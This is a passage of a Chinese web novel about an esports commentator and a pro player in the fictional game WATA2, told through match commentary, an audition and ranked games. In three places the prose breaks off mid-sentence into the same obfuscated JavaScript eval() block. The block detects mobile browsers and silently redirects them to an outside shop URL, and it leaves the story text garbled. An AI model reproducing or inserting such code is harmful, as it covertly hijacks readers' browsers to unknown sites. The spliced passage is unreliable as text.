但是两个队伍私下关系还是可以,他们两队都经常练团。 “SUA这边先是ban掉了浪人跟舞女,”小圆说,“接着锁定了自己家的C位,选择到了酒鬼。” “反观PAX,PAX上来ban了上校跟海妖,”另一位解说琪琪接话,“啊!第一手要了魔术师!” “看起来PAX还是围绕zonke的一个打法了。”小圆说,“魔术师这个版本似乎并没有加强,期待一下zonke这次的表现,能不能给大家带来惊喜。” .... “好的,双方的阵容已经准备完毕。”另一个解说道,“PAX还是典型的四打五阵容,二号位选择到了六级就能参团的的潘多拉,辅助方便选择到了WE都是点控技能的火鸡,那么可能PAX把后期的希望都给到了B哥。” “SUA这个阵容看起来很是针对zonke,他们也看出来了这把PAX将围绕zonke来打,影子魔术师这个英雄很少上比赛,皮太脆了,但是在zonke的手上...” 陆意扬听着他们的解说,感觉不太对劲,PAX第一手拿中是一个烟雾弹,这把的阵容明显是围绕着B哥来打的,B哥选了一个中规中矩的影子猎人。 这个版本的影子猎人并没有什么变化,但是大家可能没有注意到,有一个不起眼的很便宜的下水道装备,之前他才刚做过装备优先级的统计—— 三段鬼牙的伤害计算模式改了,从前与其他法球不叠加,现在可以叠加了,这就代表着...影子这样大招是在对方每一个人身后出现影子的英雄将在前期都能骚扰跟打出一点伤害来。 比赛内容果然如陆意扬预料的一样,前期的zonke魔法师吸引了对方太多的注意力,对面的辅助跟中单频频向中路施加压力,所以C位的B哥基本就在无干扰的发育之中。 也如陆意扬所料,B哥的AD在13分钟大招点到2级的时候,影子猎人开启大招,同时魔术师先给到大招平等在对面五人头上掉落扑克牌,接着一手大变活人,携带自家打野小规模在下路开启团战,对面已经被抓死两个,兵线被理到上路二塔。 两路开花的情况下PAX朝着中路集合,对面C位根本没有输出环境,除B哥之外所有人只放技能逼退,对面随时害怕影子抓死最后一点血条,大半场的经济被PAX控制。 B哥的C位玩得向来毒瘤,在经济碾压的情况下他极骚的为自己的影子出了个减少技能技能的装备,半法半输出,人还没靠近法球叠加都能开启消耗,在配合魔法师大招在对面每个人脑袋上扣上纸牌,持续伤害让他们未战就少了半血。 很快,SUA就被逼上了高地。 一个好的解说应该敢于下判断,但是显然,他的判断失误了。 并且,好的环境应该容得下错误,可以批评但是不该谩骂。 当然,我们的狗游戏WATA2没有。 【我草这个解说真的看得懂游戏吗?】 【我奶奶上去都比小胖墩松弛。】 【分析不明白局势咱就别硬分析了行吗?】 【妈呀,刚刚小五那个预判真的没有人看见吗?】 【没能力就别挑战快嘴解说了。】 【静音没烦恼。】 陆意扬屏蔽了弹幕,他感觉两个解说可能没太配合过,所以另一个解说抛出来的交互小圆也没接好。 但是昨晚上出的事儿,今天连夜就到了解说现场,而且这次本来版本就有变化,陆意扬觉得只是PAX玩法有点儿冒进罢了。 比如要是到25分钟后被SUA找到机会反打一波,B哥就要变成战犯了。 显然zonke没有给对面机会,超高的法爆逼得对面没法儿出来找钱。 很快游戏就结束了。 这把的游戏质量并不是很高,但是BP质量却很可以。 陆意扬仰在沙发上看天花板,他站起来打开电脑,想看一下小粉丝在不在,要是在的话可以一起看这把游戏聊一会儿。 有点可惜,小粉丝不在。 陆意扬给他留言:第一把的PAX选人可有意思了。 想了一下又说:等你回来我们一起看。 小粉丝的头像跳动,手机上的APP: 【N:好的,等我一会,不会很久。】 第二把开始了。 小圆可能是调整了一下,这把的解说他似乎要更稳扎稳打一点。 但是这俩队伍也没打算给小圆发挥的空间,SUA这波的辅助上来就选了四级,带着灯一看就是要gank,但是PAX的辅助小5一样选择了四级,将对面野区锁了视野。 辅助之间的solo,真是难得一见。 这把打得十分混乱,上路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808778|190783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能看见PAX家的飞哥被打得抱头鼠窜。 下路又能看见B哥已经追人到上路高地。 但是中路二人似乎不知情一样还在比赛补兵。 两个打野脚边的灯都是对方的。 两个辅助都已经双双死亡回家。 两个队伍都小心在避免前期的相抗,但是造成的结果很是搞笑。 二解说小圆却一板一眼,陆意扬没有看弹幕但是也能猜到他们会说什么。 陆意扬看着这场比赛,忽然觉得要是身边有人跟他一起笑就好了。 陆意扬最后选择关掉了解说,打开了弹幕。 经过刚刚的表演,两方队伍在各自辅助活了之后开始发生对抗。 【SUA打得好像个七旬老人拼二胎。】 【PAX这把寡妇勇闯男模店了!】 【解说闭嘴吧,你整场解说说的最好的一句是「好的」。】 【全场节奏现在完全到了SUA的手上???】 【可不是吗,这也送那也送,节奏当然在SUA手上啊。】 【解说能不能别说「还有机会」这种话了,机会在哪啊?】 【SUA路路抓路路崩。】 【SUA全员赶紧进电子厂!】 【zonke杀人啊!你拆鸡毛塔!】 【假冒zonke,B哥玩得中单。】 【盘子zonke开的?击杀15都到不了?】 PAX2-0带走了SUA,解说还在做最后的收尾。 —— PAX训练基地。 “开个小会。”椰哥拍了两下手,“小伙子们。” “来了。”几人从训练室站起来,小5问,“今天的比赛要复盘吗?” “应该是看接下来K1打PIK的比赛。”B哥拿着水杯,几人往会议室去。 大屏上已经开始投射。 椰哥撑着手站在会议桌边上。 “这个赛季的BP对比赛的影响有点大。”椰哥坐了下来,“小5,这个版本的辅助你怎么看?” “这个版本加强了前期英雄,总体节奏有点变快,大部分都会选择4级辅助。”小5说。 椰哥点点头,“飞星,你呢。” “道具有点变化,”飞星说,“上单可以早点打架。” B哥跟K哥抿着嘴笑,别人家的上单很多时候到最后打团才能见到,但是飞星酷爱打架,他的上单参团率跟吃伤害的数据遥遥领先。 椰哥的眼神给到谈年。 “都一样。”他淡淡道。 这个版本的总体走向就是让大家打更多的架,让对抗变得频繁,让摩擦在前期就开始。 所以类似他这样的中单,版本变动对他影响太低了。 在PAX的战术体系之中,中单就是用最少的经济打最大的爆发,用最快的时间做各路的压制。 投屏上的PIK换上新的打野,跟队伍的节奏有点儿不太匹配,椰哥也就说了几点儿两个队伍的选人情况,快进点出几波对面的短板。 “打PIK这个队伍...” “你的老东家,”B哥撞了一下吕飞星,“say一下核心战术。” “打中野联动的吗,”小5说,“打野被羊崽收拾了,禁赛了,这个赛季的新打野不行,要GG了。” “你们各位也要注意自身,哪怕我知道你们是乖小孩,”椰哥推了一下眼镜,“私生活,打假赛,当枪手,经济纠纷,有模棱两可的情况提前报备,也就看一下这个BP。” “对了,你们明天谁去一下官方那儿,把后面箱子里面那些你们签名好的东西送过去,然后...帮我开个会,我明天有个商务推不掉。” ...... 五人纷纷散开。 谈年洗了个手,还没擦干就在登录账号,水渍滴过键盘。 【N:在干嘛?】 【N:我忙完了。】 19. 我是大神 陆意扬早上起的早,此时昏昏欲睡。 陆意扬拉着上线的小粉丝进房,“你才回来吗,累不累?” 【N:不累。】 “晚上别打了,你都忙一天了。”陆意扬说,“你都没看见比赛,还挺有意思的,感觉影子要上ban位了。” 【N:嗯。】 “你想看吗,你想看的话我陪你再看一次。”陆意扬说。 【N:不了,排位吧。】 【N:我可能会忙。】 “啊,明白了,怕到时候没时间管我了是吗,”陆意扬说,“也行。” 【N:开吧。】 果然比赛刚结束,排位的影子猎人首先上了ban位。 “其实我觉得影子拿来当伪核打更合适,叠毒球,破甲,减速,大招可以开视野,”陆意扬说,“但是没有留人的技能,出羊刀,配合打消耗。” 【N:嗯。】 “PAX我感觉这个版本更强了,”陆意扬说,“其他队伍容易跟不上版本。” 【N :嗯。】 二人选完英雄,低分的池子还是随意翱翔的。 “等会儿我接个电话。” 陆意扬一头歪着脑袋,一头接着电话。 “喂您好,是我。” “嗯,按照您的要求简历已经发过去您的邮箱了。” “嗯,我知道,我在沪宁的。” “好,可以的,明天可以的。” 陆意扬挂了电话,“小粉丝,我明天要去凑数了。” 【N:恭喜。】 “嗨,估计又是等在后面的冷板凳。”陆意扬说,“看吧,先去呗。” 【N:加油。】 “行啊,”陆意扬说,“但是其实我从前准备过好几场我自己解说的视频资料,他们五分钟都没看完。” 【N:试试。】 “嗯。”陆意扬说,“管他呢,去了再说吧。” 【N:嗯。】 “明天我早起去赶地铁,你也忙了一天了,”陆意扬说,“打完这把咱俩早点休息吧。” 【N:嗯。】 谈年拿出了手机: 打开群聊【PAX上菜了】 【奇怪怪麻辣冒菜:@椰,明天我过去官方大楼。】 【椰:你这是个什么名字,在搞抽象吗?】 【大B哥:打算退役去卖冒菜?】 【K:他都不会吃辣还要卖冒菜?】 【椰:后备箱的箱子拿上去,明天10点帮我签到,坐一会儿拿个资料就可以走。】 【奇怪怪麻辣冒菜:哦。】 翌日一早。 眼睛微微有点肿,陆意扬拿冷毛巾敷了一会儿就背着单肩包往外走。 到楼下扯出来自行车,叼着油条跟拎着包子就往前骑。 他把自行车锁在地铁站边上,跟着人流下地铁站。 他坐在地铁上,关于手机的推送都是昨天的PAX。 陆意扬点开自己的微博。 【昨天的SUA在梦游吗?】 【春季赛谁会使劲儿啊保名额不就行了,又不是星赛。】 【试试阵容吧,四强还是稳的啊。】 【万年老2什么时候能捧杯?你们不老我都要老了。】 【还有人真情实感追竞?老了卖你保健品。】 【我追竞男怎么了?我脑子有病怎么了?】 【到现在羊崽一个屁都没放,估计这期没有视频了。】 【羊崽出一期吧,解说太拉了。】 【大家有没有发现R21战队那个中单在冲solo榜啊?】 【估计想走zonke的老路。】 【那羊崽又可以开黑了,换个养父。】 【也不是不行,两个养父羊崽也忙得过来。】 【微博叫什么,@一下我去看看。】 说的什么啊,陆意扬对那个中单的印象,记得好像是去年秋赛升降级之后上来的队伍,春季赛打了一场,还可以,蛮亮眼的,进步很大。 【羊崽:勿cue你爹。】 【哦,羊崽只忠诚于zonke一个养父。】 【我是真发现了,这畜生一天就装死,讲到zonke了就出来了。】 【羊崽:你爹在忙,懂?】 【大早上忙着找人领养你吗?】 【@PAX-zonke出来骂人。】 【你能管管你自己的微博吗?除了广告能发点日常吗?妈妈找你还得到这里来找,你觉得合理吗?@PAX-zonke】 陆意扬刷了一会儿微博,就到站了。 他仰头就看见个巨大的logo,也不是第一次过来了。 陆意扬在前台登记完成就去三楼。 三楼的专线直播室有好几个,陆意扬看见了从前认识的助播,他俩从前都属于没人管的,互相过节还会打了个招呼的关系,算是朋友吧,“珂珂,忙着呢?” “怎么不忙!你找地方坐,”珂珂靠近了,“解说界要变天了,你记不记得,MAY的前女友当年被网暴过啊?” “肯定记得啊,开了盒了吗,网暴得特别惨,而且没找到是谁网暴的。”陆意扬压低了声音,“怎么了?” “其实那个前女友当年就爆料过MAY的事情,但是没有人相信,你网上肯定也看见了,那个判官爆料了吗,所以他前女友现在又实名举报了,”珂珂忙得要死还要跟陆意扬八卦,“说May还组织过女粉丝见面会,说是生日派,好几个解说跟选手当时都去了,现在出名的几个都不知道真假的,官方也不敢用。” “我说怎么会找到我呢,前面那一溜都栽了?”陆意扬说,“谢谢你告诉我啊,给你带了咖啡。” “而且现在赛事组现在也发现比赛热度跟解说的关系挺大,你一会儿试解的时候稍微可以...”珂珂的手势捏了一下,“犀利一点,别跟之前一样。” “明白。”陆意扬还想问问,珂珂已经被前面的大嗓门叫走了,连咖啡也没拿。 陆意扬坐在会议室里取了号就开始等。 周围也坐了三三俩俩的人,他们低声地交谈着,面试为随机试讲三分钟。 要是看过的近期比赛就还好,游戏思路比较明确,稍微早的比赛就有点儿追溯版本,可能一不留神就容易判断错误。 到了陆意扬的号,进去之后坐在三位老师对面。 一个是认识的赛事组直播导儿,另外两个陆意扬没认出来。 陆意扬做完自我介绍之后led屏幕上随机到了一个比赛的中段,这段是上路跟下路分别都爆发了对抗,这样的局势没有五人团战的激情,也没有一波团战之后局势分析来得简单,情绪的堆叠是很差的。 试看了一次之后,导儿点了个头。 随着导播开始Replay,可以开始了。 “首先我们关注到的是双方的经济差距,红方明白如果现在不打开局势蓝方对他们的经济制裁能让他们陷入慢性死亡,他们选择了上下二路摩擦试探,但其实他们阵容的强势期还能弥补经济的劣势.....” “....在这场小规模对抗里面红方做到了二换四,但是他们没有选择继续追,而是分散想把经济差拉回来,唯一一波能置换上下二塔的机会错手即失...这是决策的失误。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808779|190783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆意扬看着下方的三分钟计时器,在最后的时间内重新再做对比赛的判断: “这场比赛让我想起当年W9败者组第一场,劣势也与这场相差无几,C位跟中单都差了一个半的大件,但是那一场的经济劣势方反复寻找机会,找准对方失误时机果断开团,三波团战后填平劣势,继而取得振奋旗帜。” “背水一战的时候,不妨抓紧翻盘点,然后放手一搏。” 时间刚好,陆意扬起身鞠躬,出了门。 刚出门就看见了一个人,戴着黑色的鸭舌帽,坐在玻璃房的外面,他手上卷着一束材料。 不是冤家不聚头,怎么在这儿还能碰上他,他化成灰陆意扬都认识。 他抬起头,对上陆意扬的眼神,不打招呼不礼貌了。 “啊哈哈,”陆意扬干巴巴地笑,感觉有点儿尴尬先开了口,“大神你好。” 谈年的嘴角有一点儿笑意,帽檐遮得太低看不见他的眼睛。 “嗯,我好。”他微微点头,声音很低,低得陆意扬差点都听不见。 陆意扬隔着一个位置坐在他边上。 陆意扬有点后悔,怎么没准备他的签名照,这会儿叫他签拿出去就能卖钱了。 气氛有点僵硬,前面的人匆匆来往。 陆意扬觉得他不认识自己,估计也忘了当时弄脏了他的衣服。 他就这样靠在玻璃上,也没看陆意扬,也不玩手机,只是沉默地坐在旁边。 有种说不上来的尴尬,可能是陆意扬的心理作用,他感觉自己的屁股有点想着火。 陆意扬起身去上厕所,路上遇到了珂珂。 “珂珂,什么时候出结果啊?还有复试吗?”陆意扬问。 珂珂翻着手上的名单,“应该快了,能赶过来的就这么几个人,你后面就三个。” “那我再等等?”陆意扬问,“包盒饭吗?” “面试不包盒饭,”珂珂说,“但是包打车票。” “行。”陆意扬往厕所走,放完水洗完脸再出来的时候zonke已经不见了。 珂珂忙得颠三倒四,过来说,“好像其他人在说你解说有点带个人主观不够中立,还在商量。” “没事儿,”陆意扬说,“那我先回去了?” 在陆意扬的眼里,这就是珂珂委婉的悲报。 但是确实仅仅凭借一段就说红方打得有点怯也不对,但是陆意扬的脑子里回顾了一下两方的阵容,除了那一波蓝方C位的御魔盘在CD,中单只能落二塔赶过来,翻盘点在于直接能拔到对面二塔逼迫他们高地回防,而且似乎没有其他的巧合的错误能让红方抓了。 机会一纵即失。 陆意扬跟珂珂微微点头,往楼下走,坐地铁回去。 他还在想自己的个人主观问题。 有些人太相信自己的比赛判断,就会变成一个毒瘤。 打游戏可以这样,解说不可以,要客观,正确,视角打开。 陆意扬坐上了地铁,手机响了一声。 万年只会发广告的冤种今日居然发微博了。 【PAX-zonke:我是大神^ - ^】 这傻逼有病吧,谁家职业选手发个微博说自己是大神,我看你是个大神经。 【是的是的宝贝你就是大神[欢呼]】 【期待zonke宝宝的春季赛夺冠!】 【竞男真自信,坐等PAX提八强。】 【@羊崽不开嘲讽技能?】 【能不能别在这里提那个黑子了?】 【谁黑子了?谁黑子了?羊崽评论区十次热评十次是你家zonke,到底是谁在倒贴?!】 20. 想要签名 回来的路上人更多,陆意扬回了家,他有点儿不敢上游戏,怕自己解说犯了这么低级的错误,打击到自己兢兢业业陪他上分的小粉丝。 他的手指在电竞桌上一下一下地点,才发现自己今天折腾了一天也没吃什么。 这会儿感觉要饿扁了,刚刚路过一些名人,如杨国福,张亮,李师傅,他都没有想跟人家打招呼的感觉,这会儿想吃下饭的菜。 他拿出手机给奇怪怪麻辣香锅发微信: 【肥牛卷炸蛋莴笋腐竹豆花...地址...】 【到了给我打电话,要特辣!】 【谢谢老板!】 陆意扬又想起一楼棋牌室门口拴着的那条吵得要死的狗,这个点总被拴在外面,陆意扬有点害怕,他被这狗吓过好几次。 【可以帮我送上来吗?实在麻烦你,不方便的话我下来拿。】 【奇怪怪麻辣冒菜:哦,可以。】 【谢谢,多少钱?】 【奇怪怪麻辣冒菜:等会发你。】 陆意扬把期末要考试的课拿出来了一眼,像天书一样。 他是个很好的人,在学习的时候不管谁找他他就会去玩。 比如他的书页还没翻几页,就已经去微博冲浪了。 【羊崽!!!六级过了你也很为妈妈骄傲吧?】 【羊崽:呵呵真是恭喜你了,但是不得不说六级真的很一般,我也没有很想过。】 【好饿啊!!!】 【羊崽:苦没吃饱是吧?】 【坏消息!今天连败11把。】 【羊崽:好消息,卸载WATA2将得到海量内存。】 【网恋对象不回消息怎么调理呜呜。】 【羊崽:吃西药,西药笑。】 【当喂狗了[图片]】 图片是给羊崽直播间送出了万福元宝,价值1000。 【羊崽:长得这么丑怎么心灵这么美?】 陆意扬的「粉丝」朋友们偶尔是很有人情味的,比如去年过年的时候他就云观看了全国各地过年喜气洋洋的照片,看起来有点幸福。 虽然他们嘴臭又毒。 陆意扬的手机响了。 【奇怪怪麻辣冒菜:放在门口了。】 也很正常,可能是老板家的女儿送的,这小区看起来也有点黑灯瞎火的,肯定放完就走了不想等他开门。 陆意扬起身去开门,结果一掰门把手—— 完了! 这个煞笔把这样一份麻辣冒菜挂在了门把手上? 这是智障吗?刚刚陆意扬的开门的幅度稍微大一点就整个掉了! 陆意扬立马关上了门,然后给微信打语音。 系统音乐响了好回合,对面接起来了。 想着本就是给人添麻烦的女生,陆意扬尽量温柔: “你好,你挂在门把手上了,我从里面没有办法拿,它会掉下去,能麻烦你再折回来一趟,亲手交给我吗?” “...哦。”对面的男生似乎在开车,陆意扬听见了转向灯哒哒哒的声音。 “你都已经走了?”陆意扬忽然觉得不好意思起来,“要不,那我看看能不能勾回来吧。算了,你走吧。” 陆意扬说完就挂断了电话。 然后他开始了解救冒菜的行动。 他试图拿一个晾衣叉,想要勾住塑料袋,然后趁着冒菜没反应过来瞬间开门然后拖住塑料盒底。 此招虽险,胜算也不大。 等会儿,陆意扬还要再想一下。 隔壁的房子是租出去的,租客常换,所以他也没有联系方式,他还在考虑附近还能找谁的时候,「笃笃」的敲门声。 有救了! 陆意扬微微打开了一点门,“你好你好你帮我拿...” 他的话还没说完,就看见有人在黑暗中伸出一只手,修长白皙的指节容易把人的注意力都吸引走,他楞楞地看着这手,楼道里的声控灯早就坏了,他自己的影子覆盖在门口那人的影子上面,一切都沉在晦暗不明里。 陆意扬感觉有点儿熟悉,不知道这个味道是哪里闻到过。 但是冒菜更香。 他还没张嘴那个人匆匆压了下帽子微微点头就走了。 关上门转身,陆意扬感觉自己被人盯上了。 他黑粉当多了,警惕性极强,但是这个人身上的味道又有点...让人觉得不是个坏人? 陆意扬不知道这个等式是怎么画上的。 只感觉应该没有人擦得这么香香的来当坏人吧? 陆意扬坐在他茶几上吃冒菜,突然想起来钱还没给。 【多少钱?】 【奇怪怪麻辣冒菜:52】 发了个红包他就坐下吃饭,吃饱了之后感觉今天让人不高兴的落选缓和了不少。 这又不是什么大问题! 而且,他给到的那个三分钟的视频能提取出来的有效信息都在那儿了,难道光说那些滑不溜秋两头讨好的话吗? 而且,视频里故意隐去了两边游戏的人员,是不按照固定的印象来解说,陆意扬又觉得自己没什么错,他在心里又将那三分钟视频循环了两次,得出一句,“这么好的机会不打等着死吧,这要是都看不懂真是把观众当煞笔了。” 而且...是吧? 陆意扬把自己哄好了,哼着乱七八糟的歌词就去上游戏。 但是他的小粉丝没在线。 突然想起来昨天好像没跟小粉丝约今天要打游戏。 小粉丝不也说了吗,他接下来也会忙,所以陆意扬打算单排几把。 新排进来的这一把,三个女人似乎是一个宿舍的,另外还有一个也是单排的。 注意力都在这三个女生身上,她们顶着萌萌哒的头像,分别叫:「刻薄坏女人」、「冷峻坏女人」、「野生坏女人」。 进了妹子堆就算了,怎么感觉这几个妹子还都挺狠? 另外那个单排的上来就选了要选中,陆意扬在二,他选辅助。 三个妹子上单打野AD瞬锁。 对面选了四级。 陆意扬这把对面选了延长续航的软辅,并且他许愿上选择了「更多的经验」,出门就直接到了4级,俩坏女人点了下自家野区,要蹲一波。 如果现在击杀这个四级辅助基本就是天顺开局了,她们想富贵险中求。 这边野区还在蹲点的时候,上路却爆发了人头,对面四级辅助越塔强杀,带走上单人头之后似乎往陆意扬方的后区游走,鸟已经开始运送装备。 上单的TP迟迟不敢落。 【野生坏女人[猴子警官]:辅助别来,他可能TP过去了。】 陆意扬随身带的TP刚要传送又有点犹豫,但是他觉得对方就是预判了四级辅助游走完之后会换路。 陆意扬还是果断选择TP上路,果然在刚出来的时候,对面AD压完兵线摸塔四级辅助就又从草丛出来,陆意扬TP的是二塔他们没有视野,他绕着大野坑对上残血四级,一套技能都交了之后开始绕走位,兵线已经被传送过来的上单理好,四级辅助没有再次拿到上单人头,蓝量都消耗完了之后去了中路。 【野生坏女人[ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808780|190783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猴子警官]:辅助意识不错。】 【6老板[海妖况琪]:谢谢野女人的夸奖。】 【刻薄坏女人[月鸦]:琪琪来蹲。】 【6老板[海妖况琪]:不够刻薄。】 【刻薄坏女人[月鸦]:腿被人打断了吗来的这么慢?】 【6老板[海妖况琪]:来了。】 陆意扬TP来到上路一塔,六级辅助果然跟中野入侵,视野做上之后AD点兵理线,月鸦跟琪琪蹲在后面,辅助要顶塔强拆,陆意扬只有四级,只能绕后断兵线之后反包,对面整体等级更高,二换二陆意扬让了一个人头保了一手AD这波也不亏。 【冷峻坏女人[影子魔术师]:谢谢琪琪。】 【6老板[海妖况琪]:保持你迷人的冷峻。】 陆意扬这会儿还跟着上单游走,对面的等级优势差不多被拉平。 但是中单突然掉线了。 WATA2游戏的排位要是掉线,可以找人来重连,但是得等10分钟。 而且要是没自己叫人的话,外面也基本没人连。 陆意扬在中单掉线3分钟之后只能开编队双操。 【野生坏女人[猴子警官]:要来吗?】 【6老板[海妖况琪]:不用,能压。】 中单的掉线让对面想要速推一波,但是这边儿已经重新被链接。 陆意扬屁颠屁颠跟着冷峻坏女人去摸塔了。 【刻薄坏女人[月鸦]:琪琪,你就打辅助吗?】 【野生坏女人[猴子警官]:加个好友不?我们也在上分。】 【6老板[海妖况琪]:可以啊,正好没人带我上分。】 陆意扬刚打完字,就看见中单三杀了。 【N[水镜]:?】 【N[水镜]:没人带你上分?】 陆意扬觉得有点眼熟,正要查他的资料是不是自己家的那个N,又看见他说: 【N[水镜]:哦。】 【N[水镜]:好吧】 【6老板[海妖况琪]:?】 陆意扬切出来调整游戏内语音,“喂,能听见吗?” 【N[水镜]:?】 “什么时候来的呀?”陆意扬有点磕磕巴巴地说,“我、我没注意连进来的是你呢,怎么也不跟我打个招呼啊?” 【N[水镜]:你看起来很忙。】 陆意扬觉得这个小粉丝就是你问他什么他都会一个一个问题的回答,但是好奇怪,有一种他经常去吃的饭店的老板撞上了他去别人家吃饭的感觉呢。 “那个...”陆意扬舔了一下嘴唇,“不忙的。” “就是...瞎开玩笑呢,”陆意扬也不知道自己在心虚什么,赶紧转移话题,“对了,我,我今天,在WATA大楼那块儿,碰,碰到你喜欢的选手了。” 【N:哦,他怎么样。】 “我跟他打招呼了,不知道说什么。” 【N:我想要他的签名。】 “啊...” 但是想了一下应该还有机会能碰上,而且小粉丝给他花了这么多钱只要个签名也还好吧? 陆意扬为难又犹豫,但说:“......行。” 【N:你确定?】 一张签名而已,“再遇上就去要,有什么不能确定的。” 【N:好的,谢谢,还玩吗。】 “诶?”陆意扬的语调轻松起来。 小粉丝这么好哄啊? “别说,他长得还挺帅,”陆意扬说,“但是我偷偷告诉你一个秘密。” 21. 狗屁不懂 小粉丝还没来得及打字,这把游戏就结束了。 这会儿微信语音也响起来了,是珂珂。 “等会儿我接个电话。”陆意扬撇了耳机,用脑袋夹着手机,“怎么啦珂珂。” “哦,行啊,谢谢你啊。” “嗯,等他们通知,没事没事,我知道了。” “谢谢你啊,这会儿还没上班?” “行,路上小心。” “诶诶!小粉丝!”陆意扬戴好了耳机,“好消息。” 【N:什么。】 “其实我今天去那儿面试吗不是,我感觉是没戏的,”陆意扬说,“但是怎么说峰回路转,但是我这里还没有收到具体通知,但是可能这次的春季赛我能去,可能,我说可能。” 【N:恭喜。】 “哎呀我也没有能分享的人,”陆意扬说,“要是你在沪宁,我得到WPL解说资格合同签完下一秒,我就找你吃烧烤。” 【N:可以。】 “就算春季赛顶上去了,秋季赛还是要重新选拔,”陆意扬说,“解说还要投票要人气,到时候还要拍视频,还要整活儿,还要拉人气票,我那个微博都百年不动了。” 【N:有信心。】 “我都没信心,”陆意扬懒洋洋地跟小粉丝开第二把,分来到了500,新赛季之后整个WATA2的整体战斗力都没太上来,前面这些好多都有队伍,看bp都能看出来,“排到上分队了。” 【N:哦。】 “咱俩能打得过吗,”陆意扬说,“完了,我手还有点痛。” 【N:你别用手了。】 二人匹进了游戏。 【[所有人]爱是安妮[塔利亚]:好巧?】 【[所有人]爱是安妮[塔利亚]:今天不可能再让你们上分。】 陆意扬看着对面的名字,想不起来这是谁。 “小粉丝,是来蹲你的吗?我不认识他呀。” 【N:你不是说他的情侣名字好看吗。】 陆意扬瞧了一眼,才发现对面还有个安妮。 嗯?不是莉莉安吗? “哦,”陆意扬说,“不知道现在游戏里的爱情这么快,可能是我太长情了。” 【N:哦。】 陆意扬的注意力只有他的战斗力,哎呀了一句,“我们这边好像都不是很聪明。” 【[所有人]爱是安妮[塔利亚]:13分钟投降,继续蹲你俩。】 对面的中单狐狸的最近的战局数据都非常漂亮。 陆意扬还是想好好打的,奈何他的手上把给坏女人们当丫鬟又双开了一会儿有点发抖。 对面的辅助非常强势,带着打野上单就要来开一级团,自家打野被抓之后狂点陆意扬的头像。 自己家的阵容本来也没对面拿的强势,现在属于天崩开局,除了中单小粉丝的补兵稍微漂亮一点儿其他人都是已经没眼看了。 人头差距很快拉到了10+。 打野一个劲让陆意扬出去做灯,在游戏语音里面墨迹没完,自己家的AD也出不去塔,只能眼睁睁地看着对面疯狂反补。 小粉丝的中单越塔强杀了一波,对整个战局也没什么太大的帮助。 小粉丝开始游走,有一点儿像微弱的曙光,但是对面的配合打得很不错,也就是对换人头而已。 【[所有人]爱是安妮[塔利亚]:13分钟了,可以点了。】 【[所有人]爱是安妮[塔利亚]:???别耽误下把哥蹲你俩废物,今天要把你们的分都削平了。】 陆意扬真的有点烦,技不如人输了就算了,谁也不是输不起,但是分明带了几个会玩的就这样吗?而且这队伍陆意扬还认识,解说过他们的比赛,在沪宁城市赛的时候,输给信仰了,菜得陆意扬解说都不会了。 “这把真给我打得挂机血池聊天了。”陆意扬说,“实在不行晚上不打了,这掉分有点儿受不了。” 这把打得有点烦,烦的是他们还持续的滚刀肉,这算是这个狗游戏的一个特色了。 “不用理他。”陆意扬说,“我们聊会儿天,等会儿再开一把就是。” 【N:嗯。】 二人挂在房间里,不断地有人跳进来。 催促他们赶紧开始排位。 他们把房间锁了之后,小喇叭又上了。 小喇叭被陆意扬屏蔽之后,超级喇叭也上了。 “诶!有点烦人了啊,骂我就算了,怎么还骂你呢。”陆意扬说,“风筝的WSPL都打不上,没钱,带老板玩玩也没办法,但是现在看起来怎么还狗仗人势了呢。算了,他们也不容易,我们下了吧。” 【N:嗯。】 WATA2小队伍多如牛毛,很多队伍的人员来往非常不固定,WSPL跟WPL的名额常年都被霸占,所以名不见经传的小队伍常年都得混迹于各大陪玩频道,直播平台,他们在现役挂不上号,又不肯放弃电竞这条路,就变成了这个鬼样子。 玩电竞的谁在刚打出来一点东西的时候不是觉得自己天赋异禀,有点傲气,但是饭还是得吃,电费还是一样得交,没有固定的老板就是一游民。 陆意扬就是嘴坏,但是也不至于跟他们没完没了的。 陆意扬关了游戏,走进卫生间就去洗澡了,他刚吃完冒菜还出了一身的汗,但是哪怕洗澡他也带着手机,生怕珂珂来了什么消息他没有第一时间接到。 说来小选手还能去混一混陪玩频道,混一混直播,长得漂亮打得不错也有人能看见,类似陆意扬这种解说就惨了,官方不给饭吃基本就没什么出路。 他的发尖还在滴水,长着一双漂亮眼睛的男人粗糙地擦了一把脸,整个卫生间雾气蒙蒙的。 他看着镜子里的自己,神经兮兮地对着镜子开始练习微笑。 他想起了他的粉丝说zonke长得就是正义的样子,扯什么淡,哥长得不行吗?哥就是不太方便给你们看真正的正义长什么样而已。 他去城市赛或者线下解说的时候也会有女孩子来问微信啊,有什么呀? 陆意扬重新坐到电脑面前。 